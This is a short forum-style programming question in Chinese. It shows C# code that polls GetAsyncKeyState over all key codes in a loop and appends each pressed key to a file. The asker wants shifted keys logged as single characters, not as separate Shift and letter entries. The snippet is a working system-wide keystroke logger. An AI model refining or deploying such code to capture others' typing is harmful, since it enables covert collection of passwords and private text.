我正在使用此代码
KeysConverter keyConverter = new KeysConverter();
String text = "";
while (true)
{
Thread.Sleep(10);
for (Int32 i = 0; i < 255; i++)
{
int key = GetAsyncKeyState(i);
if (key == 1 || key == -32767)
{
text = keyConverter.ConvertToString(i);
using (StreamWriter sw = File.AppendText(path))
{
sw.WriteLine(text);
}
}
}
}
记录密钥并将其保存到文件中。
现在,如果我启动应用程序并输入大写的A,它会打印出shift lshift a
,这不是我想要它做的。
我想简化它以打印出大写的A